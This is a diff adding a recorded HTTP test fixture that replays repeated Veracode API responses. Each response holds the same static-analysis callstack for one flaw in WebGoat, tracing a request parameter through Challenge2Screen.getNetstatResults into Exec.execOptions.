+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:09:21 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:09:21 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:10:29 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:10:30 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:11:00 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:11:00 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:12:15 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:12:15 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:13:10 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:11 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:13:34 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:13:35 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:15:06 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:06 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:16:08 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:16:08 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:17:23 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:17:24 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:18:03 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:04 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:18:32 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
+        <callstack module_name="WebGoat-5.0-with-jsp.war" steps="12" local_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103">
+        <call data_path="12" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="11" file_path="org/owasp/webgoat/util/Exec.java" function_name="execOptions" line_number="103"/>
+        <call data_path="10" file_path="org/owasp/webgoat/util/Exec.java" function_name="execSimple" line_number="455"/>
+        <call data_path="9" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="654"/>
+        <call data_path="8" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="653"/>
+        <call data_path="7" file_path="org/owasp/webgoat/lessons/Challenge2Screen.java" function_name="getNetstatResults" line_number="642"/>
+        <call data_path="6" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="5" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="608"/>
+        <call data_path="4" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="638"/>
+        <call data_path="3" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="633"/>
+        <call data_path="2" file_path="org/owasp/webgoat/session/ParameterParser.java" function_name="getRawParameter" line_number="627"/>
+        <call data_path="1" function_name="getParameterValues" line_number="198"/>
+        </callstack>
+        </callstacks>
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:18:32 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/3.0/getcallstacks.do?build_id=44905&flaw_id=132
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '481'
+      Date:
+      - Tue, 27 Oct 2015 12:28:16 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <callstacks xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/callstacks" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/callstacks https://analysiscenter.veracode.com/resource/2.0/callstacks.xsd" build_id="44905" flaw_id="132">
